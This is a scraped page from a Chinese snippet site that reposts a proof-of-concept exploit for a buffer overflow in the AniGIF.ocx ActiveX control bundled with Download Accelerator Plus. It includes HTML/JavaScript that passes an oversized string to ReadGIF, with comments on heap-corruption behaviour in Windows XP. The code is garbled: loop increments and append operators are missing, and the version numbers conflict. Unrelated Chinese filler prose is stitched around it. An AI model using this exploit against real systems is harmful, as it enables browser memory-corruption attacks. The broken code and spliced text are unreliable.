Download Accelerator Plus - DAP 8.6 (AniGIF.ocx) Buffer Overflow PoC

冬天地上扑的是雪,厚厚的,软软的;房上落的是雪,白皑皑的,又松又软;树上盖的是雪,积雪把树枝压弯了腰。太阳照在雪山上,发出耀眼的光芒。
<html>
<body>
<object classid='clsid:82351441-9094-11D1-A24B-00A0C932C7DF' id='target' />
</object>
<script language=javascript>

// anigif.ocx by www.jcomsoft.com can be found distribuited with some applications,
// I found it in Download Accelerator Plus 6.8.
// DAP comes with an old version, but the last from jcomsoft is also vulnerable:
// there's a stack-based buffer overflow in the ReadGIF and ReadGIF2 methods,
// the funny thing is that after the first exception that will be handled by IE,
// when the object is released we reach RtlpCoalesceFreeBlocks owning eax and ecx
// with windogs xp sp1 or the second check of safe-unlink with sp2 in a standard heap
// overflow scenario.

var buf;
for (var i=0; i<259; i ) buf = "X";

buf ="BBBB";
buf = "CCCC";

for (var i=0; i<5728; i ) buf = "H";

target.ReadGIF(buf);

window.location = "http://www.google.com";

</script>
</body>
</html>

以上就是Download Accelerator Plus - DAP 8.6 (AniGIF.ocx) Buffer Overflow PoC 。我们之所以战斗,不是为了改变世界,而是为了不让世界改变我们。更多关于Download Accelerator Plus - DAP 8.6 (AniGIF.ocx) Buffer Overflow PoC 请关注haodaima.com其它相关文章!

标签: